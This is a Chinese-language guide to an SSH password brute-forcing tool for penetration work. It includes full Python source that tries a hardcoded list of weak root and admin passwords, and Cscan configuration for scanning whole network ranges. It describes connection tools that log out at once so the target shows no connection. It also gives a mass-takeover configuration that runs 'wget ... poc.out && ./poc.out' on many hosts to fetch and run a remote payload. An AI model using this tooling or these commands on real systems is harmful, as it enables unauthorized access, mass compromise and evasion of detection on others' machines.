0x000 前言
sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测
当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1
0x001 目录
1.sshcrack用法
2.Cscan批量扫描
3.连接SSH执行命令
4.sshcrack源码
5.SSH批量上控
6.工具下载
0x002 用法
指定SSH服务器密码检测
弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK 单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK
0x003 批量SSH服务器密码检测
以下功能可使用Ladon SshScan模块,更简单易用。
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容如下
1.爆破弱口令(当前无密码或已获取多个帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)
以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口
不指定端口意味着ip.txt里需要填写上对应SSH端口
0x004 连接SSH执行命令
1.sshshell交互式连接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)
2.sshcmd命令行非交互式
优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用
3.渗透专版SSH连接工具GUI版
优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用
当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录
0x005 sshcrack源码
建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。
以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。
#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
try:
ssh.connect(host,port,user,pwd)
print host+' '+port+' '+user+' '+pwd+' LoginOK'
except:
pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
checkSSH(host,port,user,pwd)
elif type=='-crack':
checkSSH(host,port,'root','123456')
checkSSH(host,port,'root','cisco')
checkSSH(host,port,'root','Cisco')
checkSSH(host,port,'admin','123456')
checkSSH(host,port,'cisco','123456')
checkSSH(host,port,'cisco','cisco')
checkSSH(host,port,'Cisco','Cisco')
checkSSH(host,port,'cisco','cisco123')
checkSSH(host,port,'admin','admin')
checkSSH(host,port,'root','Admin')
checkSSH(host,port,'root','toor')
checkSSH(host,port,'root','Admin123')
checkSSH(host,port,'root','system')
checkSSH(host,port,'root','system123')
checkSSH(host,port,'root','System')
checkSSH(host,port,'root','System123')
checkSSH(host,port,'root','Admin123!@#')
checkSSH(host,port,'root','root123!@#')
checkSSH(host,port,'root','root2019')
checkSSH(host,port,'root','root2018')
checkSSH(host,port,'root','root2017')
checkSSH(host,port,'root','root2016')
checkSSH(host,port,'root','root2015')
checkSSH(host,port,'root','root2014')
checkSSH(host,port,'root','root2013')
checkSSH(host,port,'root','root2012')
else:
checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test
Cscan.ini内容
[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python写的程序一定跨平台?
Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统
支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用
你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???
就算是只用原生包写的功能,也不能保证完全兼容
有些功能针对于不同系统需做不同的处理
Tip2: SSH连接工具详细说明